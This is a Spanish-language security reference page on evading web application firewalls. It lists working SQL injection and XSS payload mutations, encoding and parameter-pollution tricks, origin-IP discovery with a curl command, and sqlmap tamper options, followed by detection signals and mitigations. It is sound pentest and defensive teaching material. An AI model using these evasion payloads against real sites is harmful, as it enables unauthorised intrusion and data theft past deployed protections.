Saltearse al contenido

Evasión de WAF

Un WAF (Web Application Firewall) inspecciona el tráfico HTTP y bloquea lo que coincide con firmas de ataque. No arregla el bug: solo pone una capa de reconocimiento de patrones delante. Evadirlo consiste en que el payload llegue distinto al WAF que a la aplicación —o que el WAF ni siquiera lo vea—, de modo que la carga maliciosa alcance el código vulnerable sin disparar la firma.

El WAF y la aplicación casi nunca parsean igual: distinto charset, distinta normalización de URL, distinto manejo de parámetros duplicados, distinto límite de cuerpo inspeccionado. Cada una de esas diferencias es una grieta. Además, el WAF ve el tráfico que pasa por él: si encuentras el origen real (IP detrás de Cloudflare/Akamai), lo saltas por completo.

  • wafw00f wafw00f https://target → fingerprint por cabeceras/cookies/página de bloqueo.
  • Señales: Server: cloudflare, cookie __cfduid/incap_ses/AWSALB, página 403/406 con ID de incidente, X-Sucuri-ID.
  • Envía un payload obvio (?x=<svg onload=alert(1)>) y observa el bloqueo para medir la firma.

Si el WAF es un proxy (Cloudflare, Akamai, Imperva cloud), encontrar la IP real lo anula:

  • DNS histórico: SecurityTrails, crt.sh, DNSdumpster, censys/shodan buscando el certificado.
  • Subdominios olvidados (dev., staging., origin., mail.) que apuntan directo al servidor.
  • Cabeceras de correo, metadatos, errores que filtran la IP interna.
  • Conéctate directo a la IP con Host: del dominio real:
curl -s -H "Host: target.com" https://ORIGIN_IP/ -k

El objetivo es la misma semántica, otra sintaxis que la firma no reconoce.

Caso / espaciado / comentarios (SQLi):

UNION SELECT -> uNiOn/**/SeLeCt
' OR 1=1-- - -> '/**/oR/**/1=1-- -
UNION -> UNI/*!50000UNION*/ON (comentario condicional MySQL)
space -> /**/ %09 %0a %0c %a0 +

Codificación y doble codificación:

< -> %3C -> %253C (doble URL-encode si el WAF decodifica una vez y la app dos)
unicode -> %u003c, <, formas de ancho completo < >
HTML ent -> &lt; &#60; &#x3c;

XSS sin palabras clave bloqueadas:

<script> -> <sCrIpT>, <svg/onload=...>, <img src=x onerror=...>
alert(1) -> alert`1`, (alert)(1), top["ale"+"rt"](1), confirm(1)
on-handlers -> onpointerover, onfocus autofocus, onanimationstart

Parámetros / contaminación (HPP): manda el parámetro dos veces; el WAF puede inspeccionar uno y la app concatenar/usar el otro:

?id=1&id=' OR '1'='1

Partir la firma por el cuerpo: cambia GET a POST, usa application/json o multipart/form-data; muchos WAF inspeccionan peor el body o solo los primeros N KB → rellena con basura antes del payload.

Encoding de transporte: Content-Type: multipart/form-data con charset raro, chunked transfer-encoding, o Content-Encoding: gzip si el WAF no descomprime.

  • wafw00f — fingerprint de WAF.
  • ffuf/Burp Intruder — fuzzear mutaciones del payload.
  • nuclei (-t http/waf) — detección y pruebas.
  • Cloudflair / cf-check / DNS histórico — descubrir IP de origen.
  • sqlmap --tamper=space2comment,between,charencode,... — scripts de evasión integrados.

La evasión no amplía el bug: lo entrega. Si detrás hay SQLi/XSS/RCE, saltar el WAF convierte un “bloqueado” en explotación real.

  • Ráfagas de 403/406 seguidas de un 200 con el mismo parámetro → alguien iterando mutaciones hasta colar una.
  • Peticiones directas a la IP de origen con Host del dominio público.
  • Payloads con doble codificación, comentarios SQL inline, charset inusual.

Loguea requests bloqueadas y permitidas con el parámetro completo; sin el payload en claro no hay forma de ver la mutación que coló.

  • El WAF es defensa en profundidad, no el parche. Corrige el bug (queries parametrizadas, escape en salida): un WAF evadible delante de código vulnerable sigue siendo explotable.
  • Cierra el origen: firewall que solo acepte tráfico del rango del WAF/CDN; rota la IP tras migrar.
  • Normaliza antes de inspeccionar (decodifica, canoniza) y rechaza codificaciones ambiguas.
  • Inspecciona todo el cuerpo, no solo los primeros KB; descomprime antes de inspeccionar.
  • Modo positive security (allowlist de lo esperado) donde sea viable, no solo firmas negativas.

Si se detecta evasión exitosa, asume que el bug de detrás es explotable: parchéalo, no solo endurezcas la firma.

  • ModSecurity CRS bypasses — históricos con JSON, charset y comentarios SQL; cada versión del Core Rule Set corrige rondas de evasión.
  • Cloudflare / Akamai origin IP leaks — numerosos casos de dominios protegidos saltados por IP de origen expuesta vía DNS histórico o subdominios.
  • CVE-2021-44228 (Log4Shell) — oleada de bypasses de WAF con ofuscación JNDI (${lower:j}ndi, ${::-j}) que derrotaron firmas simples.
  • Imperva/F5/AWS WAF: investigaciones recurrentes publican mutaciones que evaden sus firmas por defecto.
  • ¿Qué WAF hay? (wafw00f, página de bloqueo)
  • ¿Se puede alcanzar la IP de origen directamente saltando el WAF?
  • ¿Doble codificación / unicode / fullwidth evade la firma?
  • ¿Comentarios inline, cambio de case y espaciado alternativo cuelan SQLi/XSS?
  • ¿HPP (parámetro duplicado) parte la inspección?
  • ¿Cambiar a POST/JSON/multipart o rellenar el body evade la inspección?
  • Tras evadir, ¿el bug subyacente es realmente explotable?
  • ¿El origen acepta tráfico que no venga del CDN/WAF?